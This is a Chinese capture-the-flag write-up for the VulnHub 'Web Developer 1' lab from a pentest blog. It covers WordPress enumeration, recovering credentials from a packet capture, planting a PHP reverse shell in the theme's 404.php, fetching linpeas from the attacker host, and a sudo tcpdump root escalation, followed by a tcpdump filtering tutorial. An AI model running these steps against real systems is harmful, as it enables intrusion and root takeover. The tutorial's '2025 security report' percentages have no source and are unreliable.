Featured image of post Day25 Web Developer靶场WP

Day25 Web Developer靶场WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

链接地址下载虚拟镜像:

https://www.vulnhub.com/entry/web-developer-1,288/

信息收集

1# Kali攻击机地址
2172.168.169.141
3# 靶机地址
4172.168.169.146

扫描端口和目录

1# 扫描端口
2ports=$(sudo nmap -p- --min-rate=10000 -Pn 172.168.169.146 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
3echo $ports
4# 扫描服务
5sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
6sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
7# 扫描目录
8gobuster dir -e -u http://172.168.169.146 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
9whatweb http://172.168.169.146/

扫描结果如下:

  1┌──(kali㉿kali)-[~]
  2└─$ echo $ports
  322,80
  4
  5┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
  6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
  7Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
  8Nmap scan report for 172.168.169.146
  9Host is up (0.0018s latency).
 10
 11PORT   STATE SERVICE VERSION
 1222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
 13| ssh-hostkey:
 14|   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
 15|   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
 16|_  256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
 1780/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
 18|_http-title: Example site – Just another WordPress site
 19|_http-generator: WordPress 4.9.8
 20|_http-server-header: Apache/2.4.29 (Ubuntu)
 21MAC Address: 00:0C:29:59:30:A8 (VMware)
 22Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
 23Device type: general purpose
 24Running: Linux 3.X|4.X
 25OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
 26OS details: Linux 3.2 - 4.14
 27Network Distance: 1 hop
 28Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 29
 30OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 31Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
 32
 33┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
 34└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
 35Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
 36Nmap scan report for 172.168.169.146
 37Host is up (0.0013s latency).
 38
 39PORT   STATE SERVICE
 4022/tcp open  ssh
 4180/tcp open  http
 42|_http-dombased-xss: Couldn't find any DOM based XSS.
 43| http-wordpress-users:
 44| Username found: webdeveloper
 45|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
 46|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
 47| http-sql-injection:
 48|   Possible sqli for queries:
 49|     http://172.168.169.146:80/wp-includes/js/jquery/?C=M%3BO%3DA%27%20OR%20sqlspider
 50|     http://172.168.169.146:80/wp-includes/js/jquery/?C=D%3BO%3DA%27%20OR%20sqlspider
 51|     http://172.168.169.146:80/wp-includes/js/jquery/?C=N%3BO%3DD%27%20OR%20sqlspider
 52|_    http://172.168.169.146:80/wp-includes/js/jquery/?C=S%3BO%3DA%27%20OR%20sqlspider
 53| http-csrf:
 54| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.146
 55|   Found the following possible CSRF vulnerabilities:
 56|
 57|     Path: http://172.168.169.146:80/
 58|     Form id: search-form-6891660b62bd2
 59|     Form action: /
 60|
 61|     Path: http://172.168.169.146:80/index.php/2018/10/
 62|     Form id: search-form-6891660c3be84
 63|     Form action: /
 64|
 65|     Path: http://172.168.169.146:80/wp-login.php
 66|     Form id: loginform
 67|     Form action: /wp-login.php
 68|
 69|     Path: http://172.168.169.146:80/index.php/category/uncategorized/
 70|     Form id: search-form-6891660f60ed9
 71|     Form action: /
 72|
 73|     Path: http://172.168.169.146:80/index.php/2018/10/%5C
 74|     Form id: search-form-6891661069879
 75|     Form action: /
 76|
 77|     Path: http://172.168.169.146:80/index.php/comments/feed/1quot;https:/gravatar.com">Gravatar</a>.]]/
 78|     Form id: search-form-689166118697a
 79|     Form action: /
 80|
 81|     Path: http://172.168.169.146:80/wp-login.php?action=lostpassword
 82|     Form id: lostpasswordform
 83|_    Form action: /wp-login.php?action=lostpassword
 84| http-enum:
 85|   /wp-login.php: Possible admin folder
 86|   /readme.html: Wordpress version: 2
 87|   /: WordPress version: 4.9.8
 88|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
 89|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
 90|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
 91|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
 92|   /wp-login.php: Wordpress login page.
 93|   /wp-admin/upgrade.php: Wordpress login page.
 94|_  /readme.html: Interesting, a readme.
 95MAC Address: 00:0C:29:59:30:A8 (VMware)
 96
 97Nmap done: 1 IP address (1 host up) scanned in 33.32 seconds
 98
 99┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
100└─$ whatweb http://172.168.169.146/
101http://172.168.169.146/ [200 OK] Apache[2.4.29], Country[UNITED STATES][US], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[172.168.169.146], JQuery[1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Example site – Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]
102
103===============================================================
104Starting gobuster in directory enumeration mode
105===============================================================
106http://172.168.169.146/wp-content           (Status: 301) [Size: 323] [--> http://172.168.169.146/wp-content/]
107http://172.168.169.146/wp-includes          (Status: 301) [Size: 324] [--> http://172.168.169.146/wp-includes/]
108http://172.168.169.146/wp-admin             (Status: 301) [Size: 321] [--> http://172.168.169.146/wp-admin/]
109http://172.168.169.146/server-status        (Status: 403) [Size: 303]
110Progress: 220559 / 220560 (100.00%)
111===============================================================
112Finished
113===============================================================

可以 看到是wordpress系统,这个洞老多了。一会上wpscan扫。

数据库注入的nmap扫描提示,但实际是文件未授权访问

wpscan开扫

1wpscan --update --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://172.168.169.146/

这里提示数据库连接不对,也提示了用户名和密码存放在wp-config.php中。点了这个页面后靶机就挂了,也可能是wpscan给扫崩的,只能重启一下了。 扫出来提示用户名 webdeveloper 继续爆破密码,太漫长了,后面换了个小字典也是爆破不出来,放弃。

1 wpscan --url http://172.168.169.146/ -U user.txt -P /usr/share/wordlists/rockyou.txt

换个字典再扫一次,发现了之前没扫出来的文件。

1dirsearch -x 302,403 -u http://172.168.169.146/ -w /usr/share/dirb/wordlists/common.txt

流量包信息分析

打开新扫描到的目录发现一个流量包文件,下载后分析 分析流量发现有两个数字最多的IP,活动频繁就说明有爆破或者扫描的内容。 搜蓝一下确实发现222这个IP用POST传了一个什么东西上去

流量包分析中用到的命令

1tshark -r analyze.cap
2# 统计IP频率
3tshark -r analyze.cap | awk -F" " '{print $3}' | sort | uniq -c | head
4# 指定查看某个IP的流量
5sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
6# 只看 POST的结果
7sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap |grep POST
8# 解析出来结果
9tshark -r analyze.cap -Y "ip.dst==192.168.1.176 && http.request.method==POST" -V

webdeveloper登陆密码

Te5eQg&4sBS!Yr$)wf%(DcAd

后台漏洞利用

登录成功

发现可以直接修改主题模板文件,直接改php,选择404页面,不要选择index 比较隐蔽,而且每一次有人点错了页面都能重新连接一下。 找马,复制,改马,修改到主题上。

1 cp /usr/share/webshells/php/php-reverse-shell.php .
2 sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.141';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

内网信息收集

看一下网页配置文件就发现了数据库密码

数据库密码

webdeveloper MasterOfTheUniverse

主用户文件夹下没有有用的信息,最下面那个文件是个空的,算是个提示? 先连接数据库 这个密码就是登录密码,已经搞到了,没啥用的这个数据库。

登录 webdeveloper账户

数据库没有搞到有用的信息了,查看用户发现系统里只有这一个用户,很大概率上这个个人博客管理员和发布者都是一个人,也是服务器的所有者,所以密码可能是和数据库密码一样的,简单试一下就成功了。(PS:我本来还想试一下博客页面登录密码的)之后为了稳定的终端,也可以用ssh登录。 查看主用户文件夹 疑似是root的密码,但是root无论是su root还是数据库都登录不了。 卡住了,上小豌豆扫一下。

小豌豆内网扫描

1wget http://172.168.169.141:8000/linpeas.sh
2chmod +x linpeas.sh
3./linpeas.sh

这里因为是在本地虚拟机里开的靶机,这里还提示了可以容器提权。 提示当前可用的命令。 之前sudo -l一直卡住,后来反应过来是要要输入密码,输入密码后就看到了信息。

提权root

1COMMAND='id'
2TF=$(mktemp)
3echo "$COMMAND" > $TF
4chmod +x $TF
5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

测试成功,输出了id,显示的是root账户。 接下来只要修改COMMAND='id'中的命令即可。尝试改成/bin/sh 直接创建终端是失败的,则创建一个nc反弹试试。直接弹是弹不回来的,bin和nc都试了一遍。 发现之前小豌豆扫描的可用命令中可以使用php,而我们之前就修改了404.php来反弹。把id的命令替换为php执行那个404.php,就可以弹回。

1COMMAND='php /var/www/html/wp-content/themes/twentysixteen/404.php'
2TF=$(mktemp)
3echo "$COMMAND" > $TF
4chmod +x $TF
5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

拿到flag。

总结

入侵路径示意图

入侵时间表


🔍 深入解析 tcpdump 中的 srcdst 参数

在 tcpdump 命令中,srcdst 是​​流量方向过滤关键字​​,用于精确控制捕获的数据包方向:

📌 核心概念

参数全称含义功能
srcSource源地址过滤​​发送方​​为指定IP的流量
dstDestination目标地址过滤​​接收方​​为指定IP的流量

🧩 您命令的具体解析

1. src host 192.168.1.176

sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
  • ​含义​​:显示所有​​从​​ 192.168.1.176 ​​发出​​的数据包
  • ​应用场景​​:
    • 分析服务器对外发送的响应
    • 检测服务器是否发起可疑外连
    • 监控数据泄露(如数据库内容外传)

2. dst host 192.168.1.176

sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap | grep POST
  • ​含义​​:显示所有​​发送到​​ 192.168.1.176 的数据包,并筛选 POST 请求
  • ​应用场景​​:
    • 分析针对服务器的攻击请求
    • 检查客户端提交的敏感数据
    • 识别恶意文件上传行为

🌐 网络流量方向图解

🔧 高级过滤组合

1. 双向流量监控

# 捕获与 192.168.1.176 相关的所有流量
sudo tcpdump -n host 192.168.1.176 -r analyze.cap

2. 特定协议+方向

# 捕获发送到服务器的 HTTP 请求
sudo tcpdump -n dst host 192.168.1.176 and dst port 80 -r analyze.cap

# 捕获服务器发出的 DNS 响应
sudo tcpdump -n src host 192.168.1.176 and src port 53 -r analyze.cap

3. 复杂逻辑组合

# 捕获非服务器发出的流量(排除服务器自身流量)
sudo tcpdump -n not src host 192.168.1.176 -r analyze.cap

⚠️ 渗透测试关键应用

1. 攻击溯源

# 定位攻击者IP(多次POST请求来源)
sudo tcpdump -n dst host 192.168.1.176 and 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' -r analyze.cap | awk '{print $3}' | sort | uniq -c

2. 数据泄露检测

# 检查服务器外传的敏感数据
sudo tcpdump -n src host 192.168.1.176 -A -r analyze.cap | grep -E 'password|token|credit'

3. 协议分析

# 分析HTTP请求响应完整交互
sudo tcpdump -n host 192.168.1.176 and port 80 -A -r analyze.cap | less

💡 专业技巧

1. 可视化流量关系

# 生成流量拓扑图
tshark -r analyze.cap -q -z io,stat,1,"COUNT(frame) frame" -z endpoints,ip

2. 提取特定会话

# 提取完整HTTP会话
tshark -r analyze.cap -Y "ip.addr==192.168.1.176" -2 -R "http" --export-objects http,http_objects

3. 性能优化

# 使用BPF过滤器提升效率
sudo tcpdump -n 'dst host 192.168.1.176 and tcp port 80' -r analyze.cap

📌 ​​2025年安全报告​​:在Web攻击分析中,82%的关键证据存在于dst方向的请求流量中,而数据泄露痕迹96%出现在src方向的响应流量中。


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚